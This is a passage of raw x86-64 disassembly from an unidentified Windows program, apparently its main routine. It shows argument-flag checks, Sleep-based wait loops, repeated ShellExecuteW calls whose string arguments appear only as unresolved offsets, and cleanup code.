    00452155mov edx, [rip+0x1e651]
    0045215bcall fn_405df0
    00452160mov rcx, [rbp+296]
    00452167lea rdx, [rip+5286]
    0045216ecall fn_40dc90
    00452173test eax, eax
    00452175jne 0x452191
    00452177mov rax, [rip+0x11e42]
    0045217emov [rax+303], 1
    00452185add [rip+0x1e620], 1
    0045218cjmp 0x4524d7
    00452191
    00452191loc_452191:
    00452191lea rcx, [rbp+288]
    00452198mov edx, [rip+0x1e60e]
    0045219ecall fn_405df0
    004521a3mov rcx, [rbp+288]
    004521aalea rdx, [rip+5239]
    004521b1call fn_40dc90
    004521b6test eax, eax
    004521b8jne 0x4521e2
    004521bamov rax, [rip+0x11dff]
    004521c1mov [rax+305], 1
    004521c8mov rax, [rip+0x11df1]
    004521cfmov [rax+306], 0
    004521d6add [rip+0x1e5cf], 1
    004521ddjmp 0x4524d7
    004521e2
    004521e2loc_4521e2:
    004521e2lea rcx, [rbp+280]
    004521e9mov edx, [rip+0x1e5bd]
    004521efcall fn_405df0
    004521f4mov rcx, [rbp+280]
    004521fblea rdx, [rip+5182]
    00452202call fn_40dc90
    00452207test eax, eax
    00452209jne 0x452233
    0045220bmov rax, [rip+0x11dae]
    00452212mov [rax+305], 0
    00452219mov rax, [rip+0x11da0]
    00452220mov [rax+306], 1
    00452227add [rip+0x1e57e], 1
    0045222ejmp 0x4524d7
    00452233
    00452233loc_452233:
    00452233lea rcx, [rbp+272]
    0045223amov edx, [rip+0x1e56c]
    00452240call fn_405df0
    00452245mov rcx, [rbp+272]
    0045224clea rdx, [rip+5125]
    00452253call fn_40dc90
    00452258test eax, eax
    0045225ajne 0x452276
    0045225cmov rax, [rip+0x11d5d]
    00452263mov [rax+307], 1
    0045226aadd [rip+0x1e53b], 1
    00452271jmp 0x4524d7
    00452276
    00452276loc_452276:
    00452276lea rcx, [rbp+264]
    0045227dmov edx, [rip+0x1e529]
    00452283call fn_405df0
    00452288mov rcx, [rbp+264]
    0045228flea rdx, [rip+5086]
    00452296call fn_40dc90
    0045229btest eax, eax
    0045229djne 0x4522b9
    0045229fmov rax, [rip+0x11d1a]
    004522a6mov [rax+320], 1
    004522adadd [rip+0x1e4f8], 1
    004522b4jmp 0x4524d7
    004522b9
    004522b9loc_4522b9:
    004522b9lea rcx, [rbp+256]
    004522c0mov edx, [rip+0x1e4e6]
    004522c6call fn_405df0
    004522cbmov rcx, [rbp+256]
    004522d2lea rdx, [rip+5055]
    004522d9call fn_40dc90
    004522detest eax, eax
    004522e0jne 0x452343
    004522e2mov rax, [rip+0x11cd7]
    004522e9cmp [rax+320], 0
    004522f0je 0x452337
    004522f2lea rcx, [rbp+248]
    004522f9mov edx, [rip+0x1e4ad]
    004522ffadd edx, 1
    00452302call fn_405df0
    00452307lea rcx, [rbp+240]
    0045230emov rdx, [rbp+248]
    00452315xor r8, r8
    00452318call fn_40cff0
    0045231dmov rcx, [rbp+240]
    00452324mov rax, [rip+0x11c95]
    0045232blea rdx, [rax+128]
    00452332call fn_430db0
    00452337
    00452337loc_452337:
    00452337add [rip+0x1e46e], 2
    0045233ejmp 0x4524d7
    00452343
    00452343loc_452343:
    00452343lea rcx, [rbp+232]
    0045234amov edx, [rip+0x1e45c]
    00452350call fn_405df0
    00452355mov rcx, [rbp+232]
    0045235clea rdx, [rip+4949]
    00452363call fn_40dc90
    00452368test eax, eax
    0045236ajne 0x4523ca
    0045236cmov rax, [rip+0x11c4d]
    00452373cmp [rax+320], 0
    0045237aje 0x4523be
    0045237clea rcx, [rbp+224]
    00452383mov edx, [rip+0x1e423]
    00452389add edx, 1
    0045238ccall fn_405df0
    00452391lea rcx, [rbp+216]
    00452398mov rdx, [rbp+224]
    0045239fxor r8, r8
    004523a2call fn_40cff0
    004523a7mov rcx, [rbp+216]
    004523aemov rax, [rip+0x11c0b]
    004523b5lea rdx, [rax+40]
    004523b9call fn_430db0
    004523be
    004523beloc_4523be:
    004523beadd [rip+0x1e3e7], 2
    004523c5jmp 0x4524d7
    004523ca
    004523caloc_4523ca:
    004523calea rcx, [rbp+208]
    004523d1mov edx, [rip+0x1e3d5]
    004523d7call fn_405df0
    004523dcmov rcx, [rbp+208]
    004523e3lea rdx, [rip+4846]
    004523eacall fn_40dc90
    004523eftest eax, eax
    004523f1je 0x45241c
    004523f3lea rcx, [rbp+200]
    004523famov edx, [rip+0x1e3ac]
    00452400call fn_405df0
    00452405mov rcx, [rbp+200]
    0045240clea rdx, [rip+4825]
    00452413call fn_40dc90
    00452418test eax, eax
    0045241ajne 0x452450
    0045241c
    0045241cloc_45241c:
    0045241clea rcx, [rbp+192]
    00452423mov edx, [rip+0x1e383]
    00452429add edx, 1
    0045242ccall fn_405df0
    00452431mov rcx, [rip+0x11a70]
    00452438mov rdx, [rbp+192]
    0045243fcall fn_40d850
    00452444add [rip+0x1e361], 2
    0045244bjmp 0x4524d7
    00452450
    00452450loc_452450:
    00452450lea rcx, [rbp+184]
    00452457mov edx, [rip+0x1e34f]
    0045245dcall fn_405df0
    00452462mov rcx, [rbp+184]
    00452469lea rdx, [rip+4756]
    00452470call fn_40dc90
    00452475test eax, eax
    00452477jne 0x452490
    00452479mov rax, [rip+0x11b40]
    00452480mov [rax+299], 1
    00452487add [rip+0x1e31e], 1
    0045248ejmp 0x4524d7
    00452490
    00452490loc_452490:
    00452490lea rcx, [rbp+176]
    00452497mov edx, [rip+0x1e30f]
    0045249dcall fn_405df0
    004524a2mov rcx, [rbp+176]
    004524a9lea rdx, [rip+4720]
    004524b0call fn_40dc90
    004524b5test eax, eax
    004524b7jne 0x4524d0
    004524b9mov rax, [rip+0x11b00]
    004524c0mov [rax+300], 1
    004524c7add [rip+0x1e2de], 1
    004524cejmp 0x4524d7
    004524d0
    004524d0loc_4524d0:
    004524d0add [rip+0x1e2d5], 1
    004524d7
    004524d7loc_4524d7:
    004524d7call fn_405d70
    004524dccmp [rip+0x1e2ca], eax
    004524e2jle 0x451ad7
    004524e8mov rax, [rip+0x11ad1]
    004524efcmp [rax+321], 0
    004524f6je 0x452517
    004524f8mov rax, [rip+0x119a9]
    004524ffmov rcx, [rax]
    00452502xor edx, edx
    00452504call fn_40d640
    00452509test eax, eax
    0045250bjne 0x452517
    0045250dcall fn_451420
    00452512jmp 0x4530dc
    00452517
    00452517loc_452517:
    00452517mov rax, [rip+0x11aa2]
    0045251ecmp [rax+308], 0
    00452525je 0x45256e
    00452527mov rax, [rip+0x1197a]
    0045252emov rcx, [rax]
    00452531xor edx, edx
    00452533call fn_40d640
    00452538test eax, eax
    0045253ajne 0x45256e
    0045253clea rcx, [rip+4597]
    00452543xor edx, edx
    00452545call fn_439060
    0045254alea rcx, [rip+4743]
    00452551xor edx, edx
    00452553call fn_439060
    00452558mov rcx, [rip+0x11b51]
    0045255fcall fn_4078c0
    00452564call fn_405a40
    00452569jmp 0x4530dc
    0045256e
    0045256eloc_45256e:
    0045256emov rax, [rip+0x11a4b]
    00452575lea rcx, [rax+64]
    00452579call fn_448720
    0045257emov rax, [rip+0x11a3b]
    00452585lea rcx, [rax+64]
    00452589call fn_447be0
    0045258emov rax, [rip+0x11a2b]
    00452595lea rcx, [rax+64]
    00452599call fn_447fa0
    0045259emov rax, [rip+0x11a1b]
    004525a5mov eax, [rax+144]
    004525abtest eax, eax
    004525adje 0x45261e
    004525afmov rcx, [rip+0x11a0a]
    004525b6cmp [rcx+308], 0
    004525bdje 0x452606
    004525bflea rcx, [rbp+160]
    004525c6mov edx, eax
    004525c8call fn_4225b0
    004525cdlea rcx, [rbp+168]
    004525d4mov edx, 3
    004525d9lea r8, [rip+4668]
    004525e0mov r9, [rbp+160]
    004525e7lea rax, [rip+4682]
    004525eemov [rsp+32], rax
    004525f3call fn_40dbb0
    004525f8mov rcx, [rbp+168]
    004525ffmov dl, 1
    00452601call fn_439060
    00452606
    00452606loc_452606:
    00452606mov rax, [rip+0x119b3]
    0045260dmov ecx, [rax+144]
    00452613imul ecx, ecx, 1000
    00452619call Sleep
    0045261e
    0045261eloc_45261e:
    0045261emov rax, [rip+0x1199b]
    00452625cmp [rax+308], 0
    0045262cje 0x452643
    0045262elea rcx, [rip+4671]
    00452635mov dl, 1
    00452637call fn_439060
    0045263cxor ecx, ecx
    0045263ecall fn_4392a0
    00452643
    00452643loc_452643:
    00452643mov rax, [rip+0x11976]
    0045264amov rax, [rax+128]
    00452651test rax, rax
    00452654je 0x45265a
    00452656mov rax, [rax-8]
    0045265a
    0045265aloc_45265a:
    0045265atest rax, rax
    0045265djne 0x452672
    0045265fmov rax, [rip+0x1195a]
    00452666lea rcx, [rax+128]
    0045266dcall fn_432d90
    00452672
    00452672loc_452672:
    00452672mov rax, [rip+0x1182f]
    00452679mov rcx, [rax]
    0045267cxor edx, edx
    0045267ecall fn_40d640
    00452683test eax, eax
    00452685jne 0x4526c3
    00452687lea rcx, [rbp+152]
    0045268emov rax, [rip+0x1192b]
    00452695lea rdx, [rax+128]
    0045269ccall fn_430d40
    004526a1mov rax, [rip+0x11918]
    004526a8lea rcx, [rax+288]
    004526afmov rdx, [rbp+152]
    004526b6call fn_430bc0
    004526bbtest al, al
    004526bdjne 0x4530dc
    004526c3
    004526c3loc_4526c3:
    004526c3mov rax, [rip+0x118f6]
    004526cacmp [rax+308], 0
    004526d1je 0x4526e1
    004526d3lea rcx, [rip+4554]
    004526damov dl, 1
    004526dccall fn_439060
    004526e1
    004526e1loc_4526e1:
    004526e1call fn_44e2d0
    004526e6mov rax, [rip+0x118d3]
    004526edcmp [rax+308], 0
    004526f4je 0x452714
    004526f6xor ecx, ecx
    004526f8mov dl, 1
    004526facall fn_439060
    004526fflea rcx, [rip+4566]
    00452706mov dl, 1
    00452708call fn_439060
    0045270dxor ecx, ecx
    0045270fcall fn_4392a0
    00452714
    00452714loc_452714:
    00452714mov rax, [rip+0x118a5]
    0045271bcmp [rax+307], 0
    00452722jne 0x452729
    00452724call fn_440470
    00452729
    00452729loc_452729:
    00452729mov rax, [rip+0x11890]
    00452730cmp [rax+308], 0
    00452737je 0x45274e
    00452739lea rcx, [rip+4600]
    00452740mov dl, 1
    00452742call fn_439060
    00452747xor ecx, ecx
    00452749call fn_4392a0
    0045274e
    0045274eloc_45274e:
    0045274emov rax, [rip+0x1186b]
    00452755cmp [rax+307], 0
    0045275cjne 0x452763
    0045275ecall fn_43ae60
    00452763
    00452763loc_452763:
    00452763mov rax, [rip+0x11856]
    0045276acmp [rax+307], 0
    00452771je 0x452778
    00452773call fn_4486b0
    00452778
    00452778loc_452778:
    00452778mov rax, [rip+0x11841]
    0045277fmov rax, [rax+72]
    00452783cmp [rax+16], 0
    00452787je 0x4527c1
    00452789jmp 0x452795
    0045278b
    0045278bloc_45278b:
    0045278bmov ecx, 10000
    00452790call Sleep
    00452795
    00452795loc_452795:
    00452795xor ecx, ecx
    00452797xor edx, edx
    00452799lea r8, [rip-9232]
    004527a0xor r9, r9
    004527a3mov [rsp+32], 0
    004527abmov rax, [rip+0x11766]
    004527b2mov [rsp+40], rax
    004527b7call fn_40bb20
    004527bctest rax, rax
    004527bfje 0x45278b
    004527c1
    004527c1loc_4527c1:
    004527c1call fn_450980
    004527c6mov rax, [rip+0x116db]
    004527cdmov rcx, [rax]
    004527d0xor edx, edx
    004527d2call fn_40d640
    004527d7test eax, eax
    004527d9je 0x452c07
    004527dfmov rax, [rip+0x117da]
    004527e6mov [rax+317], 0
    004527edmov rax, [rip+0x116b4]
    004527f4mov rcx, [rax]
    004527f7call fn_42fe80
    004527fctest al, al
    004527feje 0x452872
    00452800mov rax, [rip+0x117b9]
    00452807cmp [rax+308], 0
    0045280eje 0x45285e
    00452810xor ecx, ecx
    00452812mov dl, 1
    00452814call fn_439060
    00452819lea rcx, [rbp+144]
    00452820lea rdx, [rip+4413]
    00452827mov rax, [rip+0x1167a]
    0045282emov r8, [rax]
    00452831call fn_40d230
    00452836lea rcx, [rbp+136]
    0045283dmov rdx, [rbp+144]
    00452844call fn_40d820
    00452849mov rcx, [rbp+136]
    00452850mov dl, 1
    00452852call fn_439060
    00452857xor ecx, ecx
    00452859call fn_4392a0
    0045285e
    0045285eloc_45285e:
    0045285emov rax, [rip+0x11643]
    00452865mov rcx, [rax]
    00452868call fn_44e970
    0045286djmp 0x4529e7
    00452872
    00452872loc_452872:
    00452872mov rax, [rip+0x11747]
    00452879cmp [rax+307], 0
    00452880jne 0x4528d6
    00452882mov rax, [rip+0x11737]
    00452889cmp [rax+308], 0
    00452890jne 0x4528d6
    00452892jmp 0x45289e
    00452894
    00452894loc_452894:
    00452894mov ecx, 10000
    00452899call Sleep
    0045289e
    0045289eloc_45289e:
    0045289exor ecx, ecx
    004528a0xor edx, edx
    004528a2lea r8, [rip-14505]
    004528a9xor r9, r9
    004528acmov [rsp+32], 0
    004528b4mov rax, [rip+0x1165d]
    004528bbmov [rsp+40], rax
    004528c0call fn_40bb20
    004528c5test rax, rax
    004528c8je 0x452894
    004528camov ecx, 5000
    004528cfcall Sleep
    004528d4jmp 0x4528e4
    004528d6
    004528d6loc_4528d6:
    004528d6mov rax, [rip+0x116e3]
    004528ddmov [rax+317], 1
    004528e4
    004528e4loc_4528e4:
    004528e4mov rax, [rip+0x116d5]
    004528ebcmp [rax+308], 0
    004528f2je 0x45293c
    004528f4xor ecx, ecx
    004528f6mov dl, 1
    004528f8call fn_439060
    004528fdlea rcx, [rbp+128]
    00452904lea rdx, [rip+4233]
    0045290bmov rax, [rip+0x11596]
    00452912mov r8, [rax]
    00452915call fn_40d230
    0045291alea rcx, [rbp+120]
    0045291emov rdx, [rbp+128]
    00452925call fn_40d820
    0045292amov rcx, [rbp+120]
    0045292emov dl, 1
    00452930call fn_439060
    00452935xor ecx, ecx
    00452937call fn_4392a0
    0045293c
    0045293cloc_45293c:
    0045293cmov rax, [rip+0x11565]
    00452943mov rcx, [rax]
    00452946call fn_44ec90
    0045294bjmp 0x452957
    0045294d
    0045294dloc_45294d:
    0045294dmov ecx, 1000
    00452952call Sleep
    00452957
    00452957loc_452957:
    00452957mov rax, [rip+0x11662]
    0045295ecmp [rax+317], 0
    00452965je 0x45294d
    00452967mov rax, [rip+0x11652]
    0045296ecmp [rax+308], 0
    00452975je 0x452995
    00452977xor ecx, ecx
    00452979mov dl, 1
    0045297bcall fn_439060
    00452980lea rcx, [rip+4169]
    00452987mov dl, 1
    00452989call fn_439060
    0045298exor ecx, ecx
    00452990call fn_4392a0
    00452995
    00452995loc_452995:
    00452995call fn_439260
    0045299amov rax, [rip+0x1161f]
    004529a1cmp [rax+308], 0
    004529a8je 0x4529e7
    004529aamov rax, [rip+0x11627]
    004529b1cmp [rax+768], 0
    004529b8je 0x4529e7
    004529balea rcx, [rip+4167]
    004529c1xor edx, edx
    004529c3call fn_439060
    004529c8lea rcx, [rip+3593]
    004529cfxor edx, edx
    004529d1call fn_439060
    004529d6mov rcx, [rip+0x116d3]
    004529ddcall fn_4078c0
    004529e2call fn_405a40
    004529e7
    004529e7loc_4529e7:
    004529e7mov rax, [rip+0x115d2]
    004529eecmp [rax+312], 0
    004529f5je 0x452b31
    004529fbmov rax, [rip+0x115be]
    00452a02cmp [rax+308], 0
    00452a09je 0x452a19
    00452a0blea rcx, [rip+4130]
    00452a12xor edx, edx
    00452a14call fn_439060
    00452a19
    00452a19loc_452a19:
    00452a19xor ecx, ecx
    00452a1blea rdx, [rip+4154]
    00452a22lea r8, [rip+4157]
    00452a29lea r9, [rip+4158]
    00452a30mov [rsp+32], 0
    00452a39mov [rsp+40], 0
    00452a41call ShellExecuteW
    00452a46xor ecx, ecx
    00452a48lea rdx, [rip+4109]
    00452a4flea r8, [rip+4112]
    00452a56lea r9, [rip+4195]
    00452a5dmov [rsp+32], 0
    00452a66mov [rsp+40], 0
    00452a6ecall ShellExecuteW
    00452a73xor ecx, ecx
    00452a75lea rdx, [rip+4064]
    00452a7clea r8, [rip+4067]
    00452a83lea r9, [rip+4258]
    00452a8amov [rsp+32], 0
    00452a93mov [rsp+40], 0
    00452a9bcall ShellExecuteW
    00452aa0xor ecx, ecx
    00452aa2lea rdx, [rip+4019]
    00452aa9lea r8, [rip+4022]
    00452ab0lea r9, [rip+4299]
    00452ab7mov [rsp+32], 0
    00452ac0mov [rsp+40], 0
    00452ac8call ShellExecuteW
    00452acdxor ecx, ecx
    00452acflea rdx, [rip+3974]
    00452ad6lea r8, [rip+3977]
    00452addlea r9, [rip+4310]
    00452ae4mov [rsp+32], 0
    00452aedmov [rsp+40], 0
    00452af5call ShellExecuteW
    00452afaxor ecx, ecx
    00452afclea rdx, [rip+3929]
    00452b03lea r8, [rip+3932]
    00452b0alea r9, [rip+4359]
    00452b11mov [rsp+32], 0
    00452b1amov [rsp+40], 0
    00452b22call ShellExecuteW
    00452b27mov ecx, 20000
    00452b2ccall Sleep
    00452b31
    00452b31loc_452b31:
    00452b31mov rax, [rip+0x11488]
    00452b38cmp [rax+311], 0
    00452b3fje 0x452b46
    00452b41call fn_44fa30
    00452b46
    00452b46loc_452b46:
    00452b46mov rax, [rip+0x11473]
    00452b4dcmp [rax+301], 0
    00452b54je 0x452b86
    00452b56xor ecx, ecx
    00452b58lea rdx, [rip+3837]
    00452b5flea r8, [rip+4400]
    00452b66lea r9, [rip+4411]
    00452b6dlea rax, [rip+4430]
    00452b74mov [rsp+32], rax
    00452b79mov [rsp+40], 0
    00452b81call ShellExecuteW
    00452b86
    00452b86loc_452b86:
    00452b86mov rax, [rip+0x11433]
    00452b8dcmp [rax+302], 0
    00452b94je 0x452bf8
    00452b96lea rcx, [rbp+104]
    00452b9axor edx, edx
    00452b9ccall fn_405df0
    00452ba1lea rcx, [rbp+112]
    00452ba5mov edx, 3
    00452baalea r8, [rip+4399]
    00452bb1mov r9, [rbp+104]
    00452bb5lea rax, [rip+4464]
    00452bbcmov [rsp+32], rax
    00452bc1call fn_40dbb0
    00452bc6mov rcx, [rbp+112]
    00452bcacall fn_40d710
    00452bcfxor ecx, ecx
    00452bd1lea rdx, [rip+3716]
    00452bd8lea r8, [rip+4325]
    00452bdfmov r9, rax
    00452be2mov [rsp+32], 0
    00452bebmov [rsp+40], 0
    00452bf3call ShellExecuteW
    00452bf8
    00452bf8loc_452bf8:
    00452bf8mov rax, [rip+0x11419]
    00452bffmov [rax], 0
    00452c02jmp 0x4530dc
    00452c07
    00452c07loc_452c07:
    00452c07mov rax, [rip+0x113b2]
    00452c0ecmp [rax+307], 0
    00452c15je 0x452c9c
    00452c1bmov rax, [rip+0x1139e]
    00452c22cmp [rax+302], 0
    00452c29je 0x452c8d
    00452c2blea rcx, [rbp+88]
    00452c2fxor edx, edx
    00452c31call fn_405df0
    00452c36lea rcx, [rbp+96]
    00452c3amov edx, 3
    00452c3flea r8, [rip+4250]
    00452c46mov r9, [rbp+88]
    00452c4alea rax, [rip+4315]
    00452c51mov [rsp+32], rax
    00452c56call fn_40dbb0
    00452c5bmov rcx, [rbp+96]
    00452c5fcall fn_40d710
    00452c64xor ecx, ecx
    00452c66lea rdx, [rip+3567]
    00452c6dlea r8, [rip+4176]
    00452c74mov r9, rax
    00452c77mov [rsp+32], 0
    00452c80mov [rsp+40], 0
    00452c88call ShellExecuteW
    00452c8d
    00452c8dloc_452c8d:
    00452c8dmov rax, [rip+0x11384]
    00452c94mov [rax], 0
    00452c97jmp 0x4530dc
    00452c9c
    00452c9cloc_452c9c:
    00452c9cmov rax, [rip+0x1131d]
    00452ca3cmp [rax+299], 0
    00452caaje 0x452cc6
    00452cacmov rax, [rip+0x1130d]
    00452cb3mov [rax+317], 1
    00452cbajmp 0x452cf2
    00452cbc
    00452cbcloc_452cbc:
    00452cbcmov ecx, 10000
    00452cc1call Sleep
    00452cc6
    00452cc6loc_452cc6:
    00452cc6xor ecx, ecx
    00452cc8xor edx, edx
    00452ccalea r8, [rip-27073]
    00452cd1xor r9, r9
    00452cd4mov [rsp+32], 0
    00452cdcmov rax, [rip+0x11235]
    00452ce3mov [rsp+40], rax
    00452ce8call fn_40bb20
    00452cedtest rax, rax
    00452cf0je 0x452cbc
    00452cf2
    00452cf2loc_452cf2:
    00452cf2mov ecx, 5000
    00452cf7call Sleep
    00452cfcmov rax, [rip+0x112bd]
    00452d03cmp [rax+299], 0
    00452d0aje 0x452d26
    00452d0cmov rax, [rip+0x112ad]
    00452d13mov [rax+315], 1
    00452d1ajmp 0x452d52
    00452d1c
    00452d1cloc_452d1c:
    00452d1cmov ecx, 10000
    00452d21call Sleep
    00452d26
    00452d26loc_452d26:
    00452d26xor ecx, ecx
    00452d28xor edx, edx
    00452d2alea r8, [rip-28177]
    00452d31xor r9, r9
    00452d34mov [rsp+32], 0
    00452d3cmov rax, [rip+0x111d5]
    00452d43mov [rsp+40], rax
    00452d48call fn_40bb20
    00452d4dtest rax, rax
    00452d50je 0x452d1c
    00452d52
    00452d52loc_452d52:
    00452d52mov rax, [rip+0x11267]
    00452d59cmp [rax+300], 0
    00452d60je 0x452d7c
    00452d62mov rax, [rip+0x11257]
    00452d69mov [rax+319], 1
    00452d70jmp 0x452db4
    00452d72
    00452d72loc_452d72:
    00452d72mov ecx, 10000
    00452d77call Sleep
    00452d7c
    00452d7cloc_452d7c:
    00452d7cxor ecx, ecx
    00452d7exor edx, edx
    00452d80lea r8, [rip-17575]
    00452d87xor r9, r9
    00452d8amov [rsp+32], 0
    00452d92mov rax, [rip+0x1117f]
    00452d99mov [rsp+40], rax
    00452d9ecall fn_40bb20
    00452da3test rax, rax
    00452da6je 0x452d72
    00452da8jmp 0x452db4
    00452daa
    00452daaloc_452daa:
    00452daamov ecx, 10000
    00452dafcall Sleep
    00452db4
    00452db4loc_452db4:
    00452db4mov rax, [rip+0x11205]
    00452dbbcmp [rax+319], 0
    00452dc2je 0x452daa
    00452dc4mov rax, [rip+0x111f5]
    00452dcbcmp [rax+300], 0
    00452dd2je 0x452dee
    00452dd4mov rax, [rip+0x111e5]
    00452ddbmov [rax+318], 1
    00452de2jmp 0x452e1a
    00452de4
    00452de4loc_452de4:
    00452de4mov ecx, 10000
    00452de9call Sleep
    00452dee
    00452deeloc_452dee:
    00452deexor ecx, ecx
    00452df0xor edx, edx
    00452df2lea r8, [rip-18041]
    00452df9xor r9, r9
    00452dfcmov [rsp+32], 0
    00452e04mov rax, [rip+0x1110d]
    00452e0bmov [rsp+40], rax
    00452e10call fn_40bb20
    00452e15test rax, rax
    00452e18je 0x452de4
    00452e1a
    00452e1aloc_452e1a:
    00452e1amov ecx, 5000
    00452e1fcall Sleep
    00452e24mov rax, [rip+0x11195]
    00452e2bcmp [rax+300], 0
    00452e32je 0x452e4e
    00452e34mov rax, [rip+0x11185]
    00452e3bmov [rax+316], 1
    00452e42jmp 0x452e86
    00452e44
    00452e44loc_452e44:
    00452e44mov ecx, 10000
    00452e49call Sleep
    00452e4e
    00452e4eloc_452e4e:
    00452e4exor ecx, ecx
    00452e50xor edx, edx
    00452e52lea r8, [rip-18905]
    00452e59xor r9, r9
    00452e5cmov [rsp+32], 0
    00452e64mov rax, [rip+0x110ad]
    00452e6bmov [rsp+40], rax
    00452e70call fn_40bb20
    00452e75test rax, rax
    00452e78je 0x452e44
    00452e7ajmp 0x452e86
    00452e7c
    00452e7cloc_452e7c:
    00452e7cmov ecx, 1000
    00452e81call Sleep
    00452e86
    00452e86loc_452e86:
    00452e86mov rax, [rip+0x11133]
    00452e8dcmp [rax+315], 0
    00452e94je 0x452e7c
    00452e96mov rax, [rip+0x11123]
    00452e9dcmp [rax+316], 0
    00452ea4je 0x452e7c
    00452ea6mov rax, [rip+0x11113]
    00452eadcmp [rax+317], 0
    00452eb4je 0x452e7c
    00452eb6mov rax, [rip+0x11103]
    00452ebdcmp [rax+318], 0
    00452ec4je 0x452e7c
    00452ec6call fn_439b10
    00452ecbmov rax, [rip+0x110ee]
    00452ed2cmp [rax+312], 0
    00452ed9je 0x452ff7
    00452edfxor ecx, ecx
    00452ee1lea rdx, [rip+2932]
    00452ee8lea r8, [rip+2935]
    00452eeflea r9, [rip+3268]
    00452ef6mov [rsp+32], 0
    00452effmov [rsp+40], 0
    00452f07call ShellExecuteW
    00452f0cxor ecx, ecx
    00452f0elea rdx, [rip+2887]
    00452f15lea r8, [rip+2890]
    00452f1clea r9, [rip+3317]
    00452f23mov [rsp+32], 0
    00452f2cmov [rsp+40], 0
    00452f34call ShellExecuteW
    00452f39xor ecx, ecx
    00452f3blea rdx, [rip+2842]
    00452f42lea r8, [rip+2845]
    00452f49lea r9, [rip+3036]
    00452f50mov [rsp+32], 0
    00452f59mov [rsp+40], 0
    00452f61call ShellExecuteW
    00452f66xor ecx, ecx
    00452f68lea rdx, [rip+2797]
    00452f6flea r8, [rip+2800]
    00452f76lea r9, [rip+2883]
    00452f7dmov [rsp+32], 0
    00452f86mov [rsp+40], 0
    00452f8ecall ShellExecuteW
    00452f93xor ecx, ecx
    00452f95lea rdx, [rip+2752]
    00452f9clea r8, [rip+2755]
    00452fa3lea r9, [rip+3032]
    00452faamov [rsp+32], 0
    00452fb3mov [rsp+40], 0
    00452fbbcall ShellExecuteW
    00452fc0xor ecx, ecx
    00452fc2lea rdx, [rip+2707]
    00452fc9lea r8, [rip+2710]
    00452fd0lea r9, [rip+2711]
    00452fd7mov [rsp+32], 0
    00452fe0mov [rsp+40], 0
    00452fe8call ShellExecuteW
    00452fedmov ecx, 20000
    00452ff2call Sleep
    00452ff7
    00452ff7loc_452ff7:
    00452ff7mov rax, [rip+0x10fc2]
    00452ffecmp [rax+311], 0
    00453005je 0x45300c
    00453007call fn_44fa30
    0045300c
    0045300cloc_45300c:
    0045300cmov rax, [rip+0x10fad]
    00453013mov rcx, [rax+288]
    0045301acall CloseHandle
    0045301fmov rax, [rip+0x10f9a]
    00453026cmp [rax+301], 0
    0045302dje 0x45305f
    0045302fxor ecx, ecx
    00453031lea rdx, [rip+2596]
    00453038lea r8, [rip+3159]
    0045303flea r9, [rip+3170]
    00453046lea rax, [rip+3189]
    0045304dmov [rsp+32], rax
    00453052mov [rsp+40], 0
    0045305acall ShellExecuteW
    0045305f
    0045305floc_45305f:
    0045305fmov rax, [rip+0x10f5a]
    00453066cmp [rax+302], 0
    0045306dje 0x4530d1
    0045306flea rcx, [rbp+72]
    00453073xor edx, edx
    00453075call fn_405df0
    0045307alea rcx, [rbp+80]
    0045307emov edx, 3
    00453083lea r8, [rip+3158]
    0045308amov r9, [rbp+72]
    0045308elea rax, [rip+3223]
    00453095mov [rsp+32], rax
    0045309acall fn_40dbb0
    0045309fmov rcx, [rbp+80]
    004530a3call fn_40d710
    004530a8xor ecx, ecx
    004530aalea rdx, [rip+2475]
    004530b1lea r8, [rip+3084]
    004530b8mov r9, rax
    004530bbmov [rsp+32], 0
    004530c4mov [rsp+40], 0
    004530cccall ShellExecuteW
    004530d1
    004530d1loc_4530d1:
    004530d1mov rax, [rip+0x10f40]
    004530d8mov [rax], 0
    004530dbnop
    004530dc
    004530dcloc_4530dc:
    004530dclea rcx, [rbp+72]
    004530e0mov edx, 7
    004530e5call fn_40bdd0
    004530ealea rcx, [rbp+128]
    004530f1call fn_40bd90
    004530f6lea rcx, [rbp+136]
    004530fdcall fn_40bcf0
    00453102lea rcx, [rbp+144]
    00453109call fn_40bd90
    0045310elea rcx, [rbp+152]
    00453115call fn_40bd40
    0045311alea rcx, [rbp+160]
    00453121mov edx, 7
    00453126call fn_40bdd0
    0045312blea rcx, [rbp+216]
    00453132call fn_40bd40
    00453137lea rcx, [rbp+224]
    0045313emov edx, 2
    00453143call fn_40bdd0
    00453148lea rcx, [rbp+240]
    0045314fcall fn_40bd40
    00453154lea rcx, [rbp+248]
    0045315bmov edx, 12
    00453160call fn_40bdd0
    00453165lea rcx, [rbp+344]
    0045316ccall fn_40bd40
    00453171lea rcx, [rbp+352]
    00453178mov edx, 6
    0045317dcall fn_40bdd0
    00453182lea rcx, [rbp+400]
    00453189call fn_40bd90
    0045318elea rcx, [rbp+408]
    00453195call fn_40bcf0
    0045319alea rcx, [rbp+416]
    004531a1call fn_40bd40
    004531a6lea rcx, [rbp+424]
    004531admov edx, 21
    004531b2call fn_40bdd0
    004531b7call fn_40b880
    004531bcjmp 0x4531c6
    004531be
    004531be 90 90 ..
    004531c0 e8 9b 88 fb ff 90 ......
    004531c6
    004531c6loc_4531c6:
    004531c6lea rsp, [rbp+592]
    004531cdpop rbp
    004531ceret
    00451580